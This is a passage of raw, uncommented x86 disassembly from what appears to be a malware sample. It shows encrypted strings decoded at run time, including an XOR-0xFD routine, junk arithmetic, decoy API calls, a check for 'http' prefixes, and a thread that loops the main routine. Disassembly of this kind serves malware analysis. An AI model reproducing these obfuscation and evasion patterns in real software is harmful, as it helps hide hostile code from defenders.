		mov	[ebp+var_626B0], edx
		or	ebx, ebx
		jnz	loc_407585
		lea	eax, [ebp+var_626B4]
		push	eax
		mov	eax, [ebp+var_626AC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		lea	edi, [ebp+var_627CA]
		lea	esi, aTxnve	; "TxN‚e"
		mov	ecx, 3
		rep movsw
		or	ebx, ebx
		jnz	loc_407585
		mov	ax, word_4423E8
		mov	[ebp+var_627CC], ax
		lea	edi, [ebp+var_627D3]
		lea	esi, aK80vdo	; "k80‚Do"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_62677]
		push	eax
		push	[ebp+var_626B4]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_6268C], edi
		call	sub_40C764	; RtlGetLastWin32Error
		and	[ebp+var_52674], 0
		jmp	short loc_4072D8
; ---------------------------------------------------------------------------


loc_4072AF:				; CODE XREF: sub_406D2E+5B6j
		mov	eax, [ebp+var_52674]
		mov	al, [ebp+eax+var_62677]
		cmp	al, 0Dh
		jz	short loc_4072C4
		cmp	al, 0Ah
		jnz	short loc_4072D2


loc_4072C4:				; CODE XREF: sub_406D2E+590j
		mov	eax, [ebp+var_52674]
		mov	[ebp+eax+var_62677], 0


loc_4072D2:				; CODE XREF: sub_406D2E+594j
		inc	[ebp+var_52674]


loc_4072D8:				; CODE XREF: sub_406D2E+57Fj
		mov	eax, [ebp+var_6268C]
		cmp	[ebp+var_52674], eax
		jb	short loc_4072AF
		call	sub_40C7D0	; GetVersion
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_40733F
		lea	edi, [ebp+var_627DC+3]
		lea	esi, a8vs	; "8VS^&"
		mov	ecx, 3
		rep movsw
		push	11h
		push	offset aNPVE	; "Á°¼´³­ºÐ»²¯°¢Ø¥ÃÝ"
		call	sub_406CA2
		push	[ebp+var_21784]
		push	eax
		lea	edi, [ebp+var_627B3]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_627B3]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CC74
		add	esp, 1Ch
		jmp	short loc_4073AB
; ---------------------------------------------------------------------------


loc_40733F:				; CODE XREF: sub_406D2E+5C4j
		mov	word ptr [ebp+var_627D8+2], 41D1h
		add	word ptr [ebp+var_627D8+2], 3FCCh
		push	13h
		push	offset aPVEPVE	; "Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ"
		call	sub_406CA2
		push	[ebp+var_21784]
		push	[ebp+var_524CC]
		push	eax
		lea	edi, [ebp+var_627B3]
		push	edi
		call	sub_40CC50
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_627B3]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CC74
		add	esp, 20h
		mov	[ebp+var_627D4], 0C9h
		movzx	eax, [ebp+var_627D4]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_627D4], al


loc_4073AB:				; CODE XREF: sub_406D2E+60Fj
		and	[ebp+var_52674], 0


loc_4073B2:				; CODE XREF: sub_406D2E+731j
		mov	eax, [ebp+var_52674]
		lea	ecx, [ebp+eax+var_62677]
		or	eax, 0FFFFFFFFh


loc_4073C2:				; CODE XREF: sub_406D2E+699j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4073C2
		mov	[ebp+var_62680], eax
		cmp	eax, 0
		jz	short loc_4073DB
		cmp	eax, 0C8h
		jbe	short loc_4073DD


loc_4073DB:				; CODE XREF: sub_406D2E+6A4j
		jmp	short loc_407446
; ---------------------------------------------------------------------------


loc_4073DD:				; CODE XREF: sub_406D2E+6ABj
		cmp	[ebp+var_62680], 1
		jnz	short loc_4073F6
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+var_62677], 20h
		jz	short loc_407446


loc_4073F6:				; CODE XREF: sub_406D2E+6B6j
		call	sub_40C740	; GetCurrentThreadId
		push	1
		push	offset aB_0	; ""
		call	sub_406CA2
		push	eax
		lea	edi, [ebp+var_10001]
		push	edi
		call	sub_40CC74
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_52674]
		lea	eax, [ebp+eax+var_62677]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CC74
		add	esp, 18h
		mov	[ebp+var_627B8], 60E9h
		inc	[ebp+var_627B8]


loc_407446:				; CODE XREF: sub_406D2E:loc_4073DBj
					; sub_406D2E+6C6j
		mov	eax, [ebp+var_62680]
		inc	eax
		add	[ebp+var_52674], eax
		mov	eax, [ebp+var_6268C]
		cmp	[ebp+var_52674], eax
		jb	loc_4073B2
		mov	[ebp+var_627B9], 0B2h
		movzx	eax, [ebp+var_627B9]
		imul	eax, 2A9Dh
		mov	[ebp+var_627B9], al
		and	[ebp+var_62688], 0
		lea	ecx, [ebp+var_10001]
		or	eax, 0FFFFFFFFh


loc_40748F:				; CODE XREF: sub_406D2E+766j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40748F
		mov	[ebp+var_62680], eax
		mov	[ebp+var_52674], 0
		jmp	loc_407565
; ---------------------------------------------------------------------------


loc_4074AB:				; CODE XREF: sub_406D2E+843j
		mov	word ptr [ebp+var_627D8+2], 6673h
		movzx	eax, word ptr [ebp+var_627D8+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_627D8+2], ax
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+var_10001], 20h
		jz	short loc_4074DF
		and	[ebp+var_6267C], 0


loc_4074DF:				; CODE XREF: sub_406D2E+7A8j
		mov	word ptr [ebp+var_627D8], 5E3Bh
		add	word ptr [ebp+var_627D8], 7D94h
		cmp	[ebp+var_6267C], 0
		jnz	short loc_407540
		mov	[ebp+var_627DC], 7B77h
		mov	eax, 51B3h
		mul	[ebp+var_627DC]
		mov	[ebp+var_627E0], eax
		mov	[ebp+var_627DC], eax
		mov	eax, [ebp+var_62688]
		mov	edx, [ebp+var_52674]
		mov	dl, [ebp+edx+var_10001]
		mov	[ebp+eax+var_10001], dl
		call	sub_40C854	; IsDebuggerPresent
		inc	[ebp+var_62688]


loc_407540:				; CODE XREF: sub_406D2E+7CAj
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+var_10001], 20h
		jnz	short loc_40755A
		mov	[ebp+var_6267C], 1


loc_40755A:				; CODE XREF: sub_406D2E+820j
		call	sub_40C854	; IsDebuggerPresent
		inc	[ebp+var_52674]


loc_407565:				; CODE XREF: sub_406D2E+778j
		mov	eax, [ebp+var_62680]
		cmp	[ebp+var_52674], eax
		jb	loc_4074AB
		mov	eax, [ebp+var_62688]
		mov	[ebp+eax+var_10001], 0


loc_407585:				; CODE XREF: sub_406D2E+4FBj
					; sub_406D2E+52Fj
		and	[ebp+var_62684], 0
		lea	eax, [ebp+var_62684]
		push	eax
		push	offset dword_447AEC
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C7C4	; GetTickCount
		or	ebx, ebx
		jnz	loc_407855
		call	sub_40C794	; GetProcessHeap
		lea	eax, [ebp+var_62690]
		push	eax
		mov	eax, [ebp+var_62684]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407832
		and	[ebp+var_52678], 0
		jmp	loc_407819
; ---------------------------------------------------------------------------


loc_4075E5:				; CODE XREF: sub_406D2E+AF7j
		call	sub_40C794	; GetProcessHeap
		push	0
		call	sub_40CBD8
		pop	ecx
		mov	[ebp+var_627F0], 2
		mov	eax, [ebp+var_52678]
		mov	[ebp+var_627E8], eax
		lea	eax, [ebp+var_627DC]
		push	eax
		lea	esi, [ebp+var_627F0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_627F0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_62684]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407813
		call	sub_40C794	; GetProcessHeap
		and	[ebp+var_627D8], 0
		lea	eax, [ebp+var_627D8]
		push	eax
		push	offset dword_447ADC
		mov	eax, [ebp+var_627DC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	loc_4077E1
		mov	[ebp+var_62804], 1DE4h
		sub	[ebp+var_62804], 0BA1h
		cmp	[ebp+var_627D8], 0
		jz	loc_4077E1
		mov	[ebp+var_62806], 1B0Fh
		sub	[ebp+var_62806], 4876h
		lea	eax, [ebp+var_62800]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		mov	eax, [ebp+var_627D8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		or	ebx, ebx
		jnz	loc_4077E1
		mov	eax, dword_4423F7
		mov	[ebp+var_62810], eax
		cmp	[ebp+var_62800], 8
		jnz	loc_4077E1
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_627D8]
		mov	[ebp+edi*4+var_10FA4], esi
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_52678]
		mov	[ebp+edi*2+var_1177C], si
		lea	eax, [ebp+var_62800]
		push	eax
		push	0
		push	[ebp+var_10FAC]
		mov	eax, [ebp+var_627D8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_62808], 3C9Dh
		movzx	eax, [ebp+var_62808]
		imul	eax, 22A9h
		mov	[ebp+var_62808], ax
		or	ebx, ebx
		jnz	loc_4077DD
		call	sub_40C764	; RtlGetLastWin32Error
		mov	ax, word_4423FB
		mov	[ebp+var_63816], ax
		lea	edi, [ebp+var_6381C]
		lea	esi, aLbn?b	; "lbn?"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_6380F]
		push	eax
		push	[ebp+var_627F8]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_63814], edi
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	[ebp+var_6380F], 0
		jz	short loc_4077CC
		cmp	edi, 64h
		jnb	short loc_4077CC
		lea	eax, [ebp+var_6380F]
		push	eax
		movzx	eax, [ebp+var_2]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		call	sub_40C6D8


loc_4077CC:				; CODE XREF: sub_406D2E+A7Cj
					; sub_406D2E+A81j
		lea	edi, [ebp+var_6381D]
		lea	esi, byte_442403
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_4077DD:				; CODE XREF: sub_406D2E+A26j
		inc	[ebp+var_2]


loc_4077E1:				; CODE XREF: sub_406D2E+94Bj
					; sub_406D2E+96Cj ...
		cmp	[ebp+var_627D8], 0
		jz	short $+2
		mov	[ebp+var_6280C], 346Bh
		sub	[ebp+var_6280C], 3A2Ah
		cmp	[ebp+var_627DC], 0
		jz	short loc_407813
		mov	eax, [ebp+var_627DC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407813:				; CODE XREF: sub_406D2E+914j
					; sub_406D2E+AD7j
		inc	[ebp+var_52678]


loc_407819:				; CODE XREF: sub_406D2E+8B2j
		mov	eax, [ebp+var_62690]
		cmp	[ebp+var_52678], eax
		jb	loc_4075E5
		jmp	short loc_407887
; ---------------------------------------------------------------------------
		call	sub_40C734	; GetCurrentProcessId


loc_407832:				; CODE XREF: sub_406D2E+8A5j
		cmp	[ebp+var_62684], 0
		jz	short loc_407847
		mov	eax, [ebp+var_62684]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407847:				; CODE XREF: sub_406D2E+B0Bj
		mov	[ebp+var_627BA], 0F2h
		sub	[ebp+var_627BA], 5Dh


loc_407855:				; CODE XREF: sub_406D2E+883j
		cmp	[ebp+var_62694], 0
		jz	short loc_40786A
		mov	eax, [ebp+var_62694]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_40786A:				; CODE XREF: sub_406D2E+B2Ej
		mov	[ebp+var_627BC], 143Bh
		movzx	eax, [ebp+var_627BC]
		imul	eax, 22Eh
		mov	[ebp+var_627BC], ax


loc_407887:				; CODE XREF: sub_406D2E+4A1j
					; sub_406D2E+AFDj
		inc	[ebp+var_21784]


loc_40788D:				; CODE XREF: sub_406D2E+427j
		mov	eax, [ebp+var_525EC]
		cmp	[ebp+var_21784], eax
		jb	loc_40715A


loc_40789F:				; CODE XREF: sub_406D2E+28Cj
					; sub_406D2E+309j ...
		inc	[ebp+var_524CC]
		mov	eax, [ebp+var_52640]
		cmp	[ebp+var_524CC], eax
		jl	loc_406F67
		lea	edi, [ebp+var_52656]
		lea	esi, asc_442404	; "h<"
		mov	ecx, 3
		rep movsb


loc_4078CA:				; CODE XREF: sub_406D2E+D09j
		push	0
		call	sub_40CBD8
		pop	ecx
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_21786], 0
		jmp	loc_4079DF
; ---------------------------------------------------------------------------


loc_4078E5:				; CODE XREF: sub_406D2E+CBEj
		mov	[ebp+var_62674], 78C0h
		sub	[ebp+var_62674], 6288h
		lea	eax, [ebp+var_524E0]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		movzx	edi, [ebp+var_21786]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	dword ptr [ebp-62678h],	2EABh
		mov	eax, 693Bh
		mul	dword ptr [ebp-62678h]
		mov	[ebp+var_62690], eax
		mov	[ebp-62678h], eax
		or	ebx, ebx
		jnz	loc_4079D8
		lea	edi, [ebp+var_62688+3]
		lea	esi, byte_442407
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_442408
		mov	[ebp+var_6268C+3], eax
		lea	eax, [ebp+var_6266D]
		push	eax
		push	[ebp+var_524D8]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_62684], edi
		mov	[ebp+var_6267C], 17FCh
		inc	[ebp+var_6267C]
		cmp	[ebp+var_6266D], 0
		jz	short loc_4079D8
		mov	word ptr [ebp+var_62680+2], 2AD9h
		sub	word ptr [ebp+var_62680+2], 258Eh
		cmp	[ebp+var_62684], 64h
		jnb	short loc_4079D3
		lea	eax, [ebp+var_6266D]
		push	eax
		movzx	eax, [ebp+var_21786]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		call	sub_40C6D8


loc_4079D3:				; CODE XREF: sub_406D2E+C85j
		call	sub_40C7C4	; GetTickCount


loc_4079D8:				; CODE XREF: sub_406D2E+C13j
					; sub_406D2E+C6Aj
		inc	[ebp+var_21786]


loc_4079DF:				; CODE XREF: sub_406D2E+BB2j
		movzx	eax, [ebp+var_21786]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_4078E5
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_52624], 370Ah
		inc	[ebp+var_52624]
		or	ebx, ebx
		jnz	loc_407E02
		lea	edi, [ebp+var_52657]
		lea	esi, byte_44240C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	[ebp+var_525FE], 0
		jz	loc_4078CA
		call	sub_40C734	; GetCurrentProcessId
		lea	edi, [ebp+var_5265D]
		lea	esi, a1o8qz	; "1o8QZ"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_2177D], 0
		push	offset byte_41FB10
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D8
		mov	[ebp+var_525E8], 1
		mov	[ebp+var_1177E], 0
		jmp	loc_407B63
; ---------------------------------------------------------------------------


loc_407A86:				; CODE XREF: sub_406D2E+E42j
		call	sub_40C7C4	; GetTickCount
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		cmp	[ebp+eax+var_524C8], 0
		jz	loc_407B5C
		call	sub_40C734	; GetCurrentProcessId
		and	[ebp+var_525E8], 0
		push	4
		push	offset aE	; "ÝØ¥Ç"
		call	sub_406CA2
		movzx	edi, [ebp+var_1177E]
		push	edi
		push	eax
		lea	edi, [ebp+var_525DF]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_525DF]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		lea	edi, [ebp+var_52674]
		lea	esi, aKbX0	; "k*x0"
		mov	ecx, 3
		rep movsw
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		push	1
		push	offset asc_446ECD ; "Ç"
		call	sub_406CA2
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40CC74
		mov	ax, word_442419
		mov	word ptr [ebp+var_52678+2], ax
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		add	esp, 3Ch


loc_407B5C:				; CODE XREF: sub_406D2E+D6Fj
		inc	[ebp+var_1177E]


loc_407B63:				; CODE XREF: sub_406D2E+D53j
		movzx	eax, [ebp+var_1177E]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_407A86
		cmp	[ebp+var_525E8], 0
		jnz	loc_407D88
		lea	edi, [ebp+var_52663]
		lea	esi, aJvjm	; "JvjM	"
		mov	ecx, 3
		rep movsw
		push	1
		push	offset asc_446ECB ; "Ý"
		call	sub_406CA2
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40CC74
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_10001]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CC74
		add	esp, 18h
		mov	eax, dword_442421
		mov	[ebp+var_52667], eax
		cmp	ds:byte_41FB10,	68h
		jnz	short loc_407BFA
		cmp	ds:byte_41FB11,	74h
		jnz	short loc_407BFA
		cmp	ds:byte_41FB12,	74h
		jnz	short loc_407BFA
		cmp	ds:byte_41FB13,	70h
		jz	short loc_407BFF


loc_407BFA:				; CODE XREF: sub_406D2E+EAFj
					; sub_406D2E+EB8j ...
		jmp	loc_407D3D
; ---------------------------------------------------------------------------


loc_407BFF:				; CODE XREF: sub_406D2E+ECAj
		call	sub_40C7D0	; GetVersion
		push	8
		push	offset aTtSs	; "Óš’’š‘˜Ó"
		call	sub_406CA2
		mov	edi, 9
		sub	edi, dword_4423A4
		push	edi
		push	eax
		push	offset byte_41FB10
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_407C62
		push	0Eh
		push	offset aTtSsSkPs ; "Óš’’š‘˜Óœ™Šœ˜"
		call	sub_406CA2
		mov	edi, 9
		sub	edi, dword_4423A4
		push	edi
		push	eax
		push	offset byte_41FB10
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	loc_407D3D


loc_407C62:				; CODE XREF: sub_406D2E+F01j
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_525EE], 0


loc_407C70:				; CODE XREF: sub_406D2E+FE1j
		mov	eax, 13h
		sub	eax, dword_4423A8
		push	eax
		movzx	eax, [ebp+var_525EE]
		lea	eax, ds:4423B4h[eax]
		push	eax
		push	offset byte_41FB10
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_407CB8
		call	sub_40C7D0	; GetVersion
		push	1
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F1D8
		jmp	loc_407D3D
; ---------------------------------------------------------------------------


loc_407CB8:				; CODE XREF: sub_406D2E+F6Fj
		movzx	eax, [ebp+var_525EE]
		mov	[ebp+var_52674], eax
		lea	ecx, ds:4423B4h[eax]
		or	eax, 0FFFFFFFFh


loc_407CCF:				; CODE XREF: sub_406D2E+FA6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407CCF
		mov	esi, [ebp+var_52674]
		add	esi, eax
		mov	edi, esi
		mov	[ebp+var_525EE], di
		mov	[ebp+var_52626], 4EA9h
		add	[ebp+var_52626], 266Bh
		inc	[ebp+var_525EE]
		movzx	eax, [ebp+var_525EE]
		cmp	byte_4423B4[eax], 0
		jnz	loc_407C70
		call	sub_40C740	; GetCurrentThreadId
		push	0
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F1D8
		lea	edi, [ebp+var_5266D]
		lea	esi, aG5ah	; "'G5aH"
		mov	ecx, 3
		rep movsw


loc_407D3D:				; CODE XREF: sub_406D2E:loc_407BFAj
					; sub_406D2E+F2Ej ...
		mov	[ebp+var_21788], 0
		jmp	short loc_407D74
; ---------------------------------------------------------------------------


loc_407D48:				; CODE XREF: sub_406D2E+1053j
		movzx	edi, [ebp+var_21788]
		cmp	[ebp+edi*4+var_10FA4], 0
		jz	short loc_407D6D
		movzx	edi, [ebp+var_21788]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+8]


loc_407D6D:				; CODE XREF: sub_406D2E+1029j
		inc	[ebp+var_21788]


loc_407D74:				; CODE XREF: sub_406D2E+1018j
		movzx	eax, [ebp+var_21788]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_407D48
		call	sub_40C7D0	; GetVersion


loc_407D88:				; CODE XREF: sub_406D2E+400j
					; sub_406D2E+E4Fj
		cmp	[ebp+var_525E4], 0
		jz	short loc_407D9D
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407D9D:				; CODE XREF: sub_406D2E+1061j
		mov	[ebp+var_5262C], 522Eh
		inc	[ebp+var_5262C]
		cmp	[ebp+var_52610], 0
		jz	short loc_407DC2
		mov	eax, [ebp+var_52610]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407DC2:				; CODE XREF: sub_406D2E+1086j
		call	sub_40C794	; GetProcessHeap
		cmp	[ebp+var_52608], 0
		jz	short loc_407DDC
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407DDC:				; CODE XREF: sub_406D2E+10A0j
		lea	edi, [ebp+var_5266E]
		lea	esi, byte_44242B
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_407DED:				; CODE XREF: sub_406D2E+227j
		cmp	[ebp+var_52604], 0
		jz	short loc_407E02
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407E02:				; CODE XREF: sub_406D2E+130j
					; sub_406D2E+181j ...
		cmp	[ebp+var_525FC], 0
		jz	short loc_407E17
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407E17:				; CODE XREF: sub_406D2E+10DBj
		mov	[ebp+var_5262D], 0FDh
		add	[ebp+var_5262D], 1


loc_407E25:				; CODE XREF: sub_406D2E+101j
		cmp	[ebp+var_525F4], 0
		jz	short loc_407E3A
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407E3A:				; CODE XREF: sub_406D2E+10FEj
		call	sub_40C7D0	; GetVersion
		jmp	loc_406D95
; ---------------------------------------------------------------------------


loc_407E44:				; CODE XREF: sub_406D2E+5Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406D2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E49	proc near		; DATA XREF: sub_407F07+2Co

var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_44242C
		push	offset sub_40109A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_4], 0
		mov	[ebp+var_19], 9
		movzx	edi, [ebp+var_19]
		mov	esi, edi
		add	esi, edi
		mov	ebx, esi
		mov	[ebp+var_19], bl


loc_407E8C:				; CODE XREF: sub_407E49+83j
					; sub_407E49+A3j
		mov	[ebp+var_1A], 0DFh
		movzx	edi, [ebp+var_1A]
		mov	esi, edi
		add	esi, edi
		mov	ebx, esi
		mov	[ebp+var_1A], bl
		mov	edi, dword_4423A4
		add	edi, 1ECh
		push	edi
		call	sub_40CBD8
		add	esp, 4
		call	sub_406D2E
		mov	[ebp+var_20], 12EBh
		add	[ebp+var_20], 59A8h
		cmp	dword_4423B0, 0
		jnz	short loc_407E8C
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-1Ch], 1
		mov	eax, [ebp-1Ch]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_40C7D0	; GetVersion
		jmp	short loc_407E8C
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh


loc_407EF5:				; CODE XREF: sub_407E49+85j
					; sub_407E49+8Ej
		pop	edi
		pop	esi
		pop	ebx
		xchg	eax, ecx
		mov	eax, [ebp+var_10]
		mov	large fs:0, eax
		xchg	eax, ecx
		leave
		retn	4
sub_407E49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F07	proc near		; CODE XREF: sub_40AA24+7F9p

var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_2]
		lea	esi, dword_442438
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+arg_0]
		mov	ds:dword_40F1D8, eax
		mov	ebx, 6DB8h
		inc	ebx
		push	offset dword_4423B0
		push	0
		push	0
		push	offset sub_407E49
		push	0
		push	0
		call	sub_40C980	; CreateThread
		mov	ebx, eax
		mov	[ebp+var_1], 0E3h
		add	[ebp+var_1], 63h
		push	ebx
		call	sub_40C7AC	; CloseHandle
		call	sub_40C7D0	; GetVersion
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407F07	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		call	sub_40C7D0	; GetVersion
		cmp	dword_442370, 0
		jnz	short loc_407F71
		xor	eax, eax
		jmp	short loc_407FB9
; ---------------------------------------------------------------------------


loc_407F71:				; CODE XREF: .text:00407F6Bj
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, ds:dword_42FB14
		cmp	[ebp+8], eax
		jz	short loc_407F84
		xor	eax, eax
		jmp	short loc_407FB9
; ---------------------------------------------------------------------------


loc_407F84:				; CODE XREF: .text:00407F7Ej
		call	sub_40C734	; GetCurrentProcessId
		lea	ecx, byte_41FB10
		or	eax, 0FFFFFFFFh


loc_407F92:				; CODE XREF: .text:00407F97j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407F92
		mov	edi, eax
		add	edi, 1
		push	edi
		push	offset byte_41FB10
		push	dword ptr [ebp+0Ch]
		call	sub_40CC14
		add	esp, 0Ch
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, 1


loc_407FB9:				; CODE XREF: .text:00407F6Fj
					; .text:00407F82j
		pop	edi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FBC	proc near		; CODE XREF: sub_408048+22Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442444
		lea	eax, ds:415580h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 0D2h
		xor	edi, edi
		jmp	short loc_408003
; ---------------------------------------------------------------------------


loc_407FE9:				; CODE XREF: sub_407FBC+49j
		mov	eax, dword_442444
		add	eax, edi
		lea	eax, ds:415580h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0FDh
		mov	[eax], dl
		inc	edi


loc_408003:				; CODE XREF: sub_407FBC+2Bj
		cmp	edi, esi
		jl	short loc_407FE9
		mov	eax, dword_442444
		add	eax, esi
		mov	byte ptr ds:dword_415580[eax], 0
		mov	edi, dword_442444
		add	dword_442444, 3
		mov	eax, dword_442444
		inc	eax
		add	eax, esi
		mov	dword_442444, eax
		cmp	eax, 0DC5h
		jle	short loc_40803E
		and	dword_442444, 0


loc_40803E:				; CODE XREF: sub_407FBC+79j
		lea	eax, dword_415580[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_407FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408048	proc near		; DATA XREF: sub_40AA24+7F4o

var_2A		= byte ptr -2Ah
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
